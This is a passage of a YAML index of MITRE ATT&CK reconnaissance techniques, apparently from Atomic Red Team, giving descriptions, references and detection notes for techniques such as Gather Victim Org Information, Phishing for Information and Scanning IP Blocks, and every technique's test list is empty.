      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
    atomic_tests: []
  T1591:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1591
        url: https://attack.mitre.org/techniques/T1591
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      - source_name: DOB Business Lookup
        url: https://www.dobsearch.com/business-lookup/
        description: Concert Technologies . (n.d.). Business Lookup - Company Name
          Search. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Gather Victim Org Information
      description: |-
        Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:39:09.021Z'
      created: '2020-10-02T16:27:02.339Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1592.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1592.001
        url: https://attack.mitre.org/techniques/T1592/001
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hardware
      description: |-
        Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
      id: attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:23:21.031Z'
      created: '2020-10-02T16:40:47.488Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.005
        url: https://attack.mitre.org/techniques/T1590/005
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: IP Addresses
      description: |-
        Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:31:05.302Z'
      created: '2020-10-02T15:59:11.695Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1591.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1591.003
        url: https://attack.mitre.org/techniques/T1591/003
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Identify Business Tempo
      description: |-
        Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))
      id: attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:38:31.983Z'
      created: '2020-10-02T16:34:32.435Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1591.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1591.004
        url: https://attack.mitre.org/techniques/T1591/004
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Identify Roles
      description: |-
        Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      id: attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:39:08.904Z'
      created: '2020-10-02T16:37:30.015Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.006
        url: https://attack.mitre.org/techniques/T1590/006
      - source_name: Nmap Firewalls NIDS
        url: https://nmap.org/book/firewalls.html
        description: Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls
          and Intrusion Detection Systems. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Security Appliances
      description: |-
        Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:31:54.275Z'
      created: '2020-10-02T16:01:35.350Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.004
        url: https://attack.mitre.org/techniques/T1590/004
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Topology
      description: |-
        Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:33:02.476Z'
      created: '2020-10-02T15:49:03.815Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.003
        url: https://attack.mitre.org/techniques/T1590/003
      - source_name: Pentesting AD Forests
        url: https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019
        description: García, C. (2019, April 3). Pentesting Active Directory Forests.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Trust Dependencies
      description: |-
        Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:34:22.917Z'
      created: '2020-10-02T15:47:59.457Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1598:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1598
        url: https://attack.mitre.org/techniques/T1598
      - source_name: ThreatPost Social Media Phishing
        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
          Pad For Phishing Attacks. Retrieved October 20, 2020.'
      - source_name: TrendMictro Phishing
        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
          October 20, 2020.
      - source_name: PCMag FakeLogin
        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
          Staffers With Fake Login Pages. Retrieved October 20, 2020.
      - source_name: Sophos Attachment
        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
          links – when phishers bring along their own web pages. Retrieved October
          20, 2020.'
      - source_name: GitHub Phishery
        url: https://github.com/ryhanson/phishery
        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
          23, 2020.
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Phishing for Information
      description: |-
        Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.

        All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

        Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
      id: attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:43:13.134Z'
      created: '2020-10-02T17:07:01.502Z'
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Robert Simmons, @MalwareUtkonos
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: |-
        Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.

        Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1597.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1597.002
        url: https://attack.mitre.org/techniques/T1597/002
      - source_name: ZDNET Selling Data
        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
          73 million user records on the dark web. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Purchase Technical Data
      description: |-
        Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

        Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      id: attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:44:43.900Z'
      created: '2020-10-02T17:05:43.562Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1596.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596.005
        url: https://attack.mitre.org/techniques/T1596/005
      - source_name: Shodan
        url: https://shodan.io
        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scan Databases
      description: |-
        Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

        Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      id: attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:49:49.260Z'
      created: '2020-10-02T17:00:44.586Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1595.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1595.001
        url: https://attack.mitre.org/techniques/T1595/001
      - source_name: Botnet Scan
        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
          a Botnet. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scanning IP Blocks
      description: |-
        Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

        Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:19:38.469Z'
      created: '2020-10-02T16:54:23.193Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1597:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1597
        url: https://attack.mitre.org/techniques/T1597
      - source_name: D3Secutrity CTI Feeds
        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
          Intelligence Feeds. Retrieved October 20, 2020.
      - source_name: ZDNET Selling Data
        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
          73 million user records on the dark web. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Search Closed Sources
      description: |-
        Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

        Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      id: attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:45:31.020Z'
      created: '2020-10-02T17:01:42.558Z'
      x_mitre_detection: |-
